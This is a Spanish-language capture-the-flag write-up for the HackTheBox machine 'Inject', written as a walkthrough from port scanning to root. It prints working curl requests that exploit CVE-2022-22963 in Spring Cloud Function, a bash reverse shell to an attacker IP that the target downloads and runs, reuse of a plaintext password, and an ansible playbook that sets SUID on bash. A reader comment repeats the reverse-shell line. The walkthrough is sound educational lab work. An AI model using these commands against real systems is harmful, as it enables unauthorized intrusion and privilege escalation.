La máquina Inject es una máquina fácil en HTB. Descubriremos un LFI con el que tendremos capacidad de "Directory Listing", gracias al LFI sabremos el servicio interno y encontraremos una vulnerabilidad que mediante Java podremos hacer RCE para obtener una "reverse shell". Localizaremos las credenciales de otro usuario en un archivo XML y como último, mediante pspy podremos ver una tarea que ejecuta archivos YML con lo que podremos poner la bash con permisos SUID.

Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para saber cuáles están activos.

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.176.14 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-11 20:10 CET
Initiating SYN Stealth Scan at 20:10
Scanning 10.129.176.14 [65535 ports]
Discovered open port 8080/tcp on 10.129.176.14
Discovered open port 22/tcp on 10.129.176.14
Completed SYN Stealth Scan at 20:10, 22.56s elapsed (65535 total ports)
Nmap scan report for 10.129.176.14
Host is up, received user-set (0.066s latency).
Scanned at 2023-03-11 20:10:32 CET for 22s
Not shown: 59504 closed ports, 6029 filtered ports
Reason: 59504 resets and 6029 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

En este caso podemos ver que son 2 los puertos activos: el 22 (SSH) y el 8080 (Web).

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • –open: Para que solo muestre los puertos abiertos
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.

Realizamos un escaneo exhaustivo sobre los puertos para descubrir los servicios y versiones que hay en los mismos.

❯ nmap -p22,8080 -sCV 10.129.176.14 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-11 20:13 CET
Nmap scan report for 10.129.176.14
Host is up (0.17s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.83 seconds

Este sería el menú principal de la web, se puede interactuar solo con el menú de blogs y el directorio de upload.

Nos deja subir archivos, probamos a subir una imagen por si nos deja verla después.

Podemos ver la imagen sin problemas. Utiliza el parámetro img para que veamos la imagen, esto puede ser interesante por 2 cosas: puede ser vulnerable a LFI o podemos subir un archivo y que nos podamos entablar una reverse shell.

Intrusión

Si probamos el LFI en efecto podremos ver el archivo passwd de la máquina víctima. Como usuarios, tenemos 2 interesantes: frank y phil.

Si probamos a hacer la petición podremos ver que tenemos capacidad de directory listing, mucho más fácil para poder enumerar archivos importantes de la máquina.

En este caso podemos ver que el archivo user.txt está en directorio $HOME del usuario phil , pero no lo podemos ver.

Empezamos enumerando la ruta de /var/ y nos encontramos con la carpeta WebApp.

Dentro de WebApp encontramos varios directorios y rutas.

Leemos el archivo pom.xml, ya que normalmente suelen contener información interesante. Podemos ver que está ejecutando el framework de Spring.
Spring es un framework como antes hemos mencionado de código abierto que facilita la creación de aplicaciones en Java.

Si buscamos sobre alguna vulnerabilidad podremos encontrar el CVE-2022-22963.

Para saber si es vulnerable debemos hacer una petición mediante curl, pasándole un argumento en java e intentando ejecutar código remoto en la máquina víctima, veamos un ejemplo.

❯ curl -X POST http://10.129.176.14:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.129.176.14:8080...
* Connected to 10.129.176.14 (10.129.176.14) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.129.176.14:8080
> User-Agent: curl/7.81.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 12 Mar 2023 01:40:49 GMT
< Connection: close
< 
* Closing connection 0
{"timestamp":"2023-03-12T01:40:49.724+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"} 

En el ejemplo de arriba lo que hacemos es, mediante curl tramitar una petición por POST con un argumento de java intentando crear un archivo en el directorio /tmp. En caso de que ese archivo exista estaremos realizando un RCE.

Y efectivamente el archivo pwned se ha creado.

Creamos un archivo en bash que contenga una reverse shell.

❯ cat exploit.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.172/4444 0>&1

Mediante python levantamos el servidor web.

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Nos ponemos en escucha con nc por el puerto 4444.

❯ nc -nlvp 4444
Listening on 0.0.0.0 4444

Subimos el archivo a la máquina víctima.

❯ curl -X POST http://10.129.176.14:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.172/exploit.sh -o /tmp/exploit.sh")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.129.176.14:8080...
* Connected to 10.129.176.14 (10.129.176.14) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.129.176.14:8080
> User-Agent: curl/7.81.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.172/exploit.sh -o exploit.sh")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 12 Mar 2023 01:52:14 GMT
< Connection: close
< 
* Closing connection 0
{"timestamp":"2023-03-12T01:52:14.412+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}

Le damos permisos de ejecución y lo ejecutamos.

❯ curl -X POST http://10.129.176.14:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/exploit.sh")' --data-raw 'data' -v
[...]
❯ curl -X POST http://10.129.176.14:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/exploit.sh")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.129.176.14:8080...
* Connected to 10.129.176.14 (10.129.176.14) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.129.176.14:8080
> User-Agent: curl/7.81.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/exploit.sh")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 12 Mar 2023 02:05:51 GMT
< Connection: close
< 
* Closing connection 0
{"timestamp":"2023-03-12T02:05:51.851+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"

Recibimos la reverse shell como el usuario frank.

❯ nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.176.14 47224
bash: cannot set terminal process group (793): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$ cd
cd
frank@inject:~$ 

Escalda de privilegios

En el directorio $HOME del usuario frank encontramos una carpeta oculta poco común. En esta carpeta hay un fichero XML con las credenciales permitiéndonos cambiar al usuario de phil.

frank@inject:~$ ls -la
ls -la
total 28
drwxr-xr-x 5 frank frank 4096 Feb  1 18:38 .
drwxr-xr-x 4 root  root  4096 Feb  1 18:38 ..
lrwxrwxrwx 1 root  root     9 Jan 24 13:57 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank 3786 Apr 18  2022 .bashrc
drwx------ 2 frank frank 4096 Feb  1 18:38 .cache
drwxr-xr-x 3 frank frank 4096 Feb  1 18:38 .local
drwx------ 2 frank frank 4096 Feb  1 18:38 .m2
-rw-r--r-- 1 frank frank  807 Feb 25  2020 .profile
frank@inject:~$ ls .ms
.m2/settings.xml
frank@inject:~$ cat .m2/settings.xml
cat .m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>
frank@inject:~$ su phil
Password: 
phil@inject:/home/frank$ cd
phil@inject:~$

Leemos la flag del usuario.

phil@inject:~$ cat user.txt 
4bc28d07334830c520c7b684b0ee367b

Subimos la herramienta de pspy para saber qué tareas se están ejecutando.

phil@inject:~$ wget 10.10.14.172/pspy64                                                                                                                                        [204/204]
--2023-03-12 03:09:33--  http://10.10.14.172/pspy64                    
Connecting to 10.10.14.172:80... connected.                                                 
HTTP request sent, awaiting response... 200 OK                                              
Length: 3104768 (3.0M) [application/octet-stream]       
Saving to: ‘pspy64’                                                                         

pspy64              100%[===================>]   2.96M  2.26MB/s    in 1.3s    

2023-03-12 03:09:34 (2.26 MB/s) - ‘pspy64’ saved [3104768/3104768]

Ejecutamos la herramienta y descubrimos una tarea bastante interesante en la que ejecuta con ansible-parallel cualquier archivo YML.

phil@inject:~$ chmod +x pspy64                                                              
phil@inject:~$ ./pspy64                                                                     
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d

     ██▓███    ██████  ██▓███ ▓██   ██▓                                                     
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒                                                     
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░                                                     
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░                                                     
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░                                                     
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒                                                      
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░                                                      
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░                                                       
                   ░           ░ ░                                                                                                                                                      
                               ░ ░                                                                                                                                                      

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc
 /home /var /opt] (recursive) | [] (non-recursive)                            
Draining file system events due to startup...                                               
done                                                                                                                                                                                    
2023/03/12 03:36:01 CMD: UID=0     PID=6758   | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml                                                   2023/03/12 03:36:01 CMD: UID=0     PID=6757   | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml

Creamos este fichero YML en nuestra máquina para poner la bash con permisos SUID.

- hosts: localhost
  tasks:
    - name: Privilege Escalation
      ansible.builtin.shell: |
        chmod +s /bin/bash
      become: true

Lo importamos a la máquina víctima, en la ruta /opt/automation/tasks así solo queda esperar a que la bash tenga permisos SUID.

phil@inject:/opt/automation/tasks$ wget 10.10.14.172/playbook_2.yml
--2023-03-12 03:27:34--  http://10.10.14.172/playbook_2.yml
Connecting to 10.10.14.172:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 138 [application/xml]
Saving to: ‘playbook_2.yml’

playbook_2.yml              100%[===================>]     138  --.-KB/s    in 0s      

2023-03-12 03:27:34 (12.1 MB/s) - ‘playbook_2.yml’ saved [138/138]

phil@inject:/opt/automation/tasks$ ls
playbook_2.yml  playbook_1.yml
phil@inject:/opt/automation/tasks$ ls -la
total 16
drwxrwxr-x 2 root staff 4096 Mar 12 03:27 .
drwxr-xr-x 3 root root  4096 Oct 20 04:23 ..
-rw-rw-r-- 1 phil phil   138 Mar 12 03:23 playbook_2.yml
-rw-r--r-- 1 root root   150 Mar 12 03:26 playbook_1.yml
phil@inject:/opt/automation/tasks$ cat playbook_2.yml 
- hosts: localhost
  tasks:
    - name: Privilege Escalation
      ansible.builtin.shell: |
        chmod +s /bin/bash
      become: true

Después de algunos minutos la bash tiene permisos SUID y nos convertimos en root pudiendo leer así la flag.

phil@inject:/opt/automation/tasks$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
phil@inject:/opt/automation/tasks$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
39a6d795485ff269d47c34b4582df2c2
bash-5.0#
2 thoughts on “Inject – HTB”
  1. Consulta, ¿Por que es necesario subir el archivo para hacer el reverse shell y directamente no se puede en el curl pasar el comonado: spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(“bash -i >& /dev/tcp/IP/PUERTO 0>&1”)’ ?

    Gracias!

Leave a Reply

Your email address will not be published. Required fields are marked *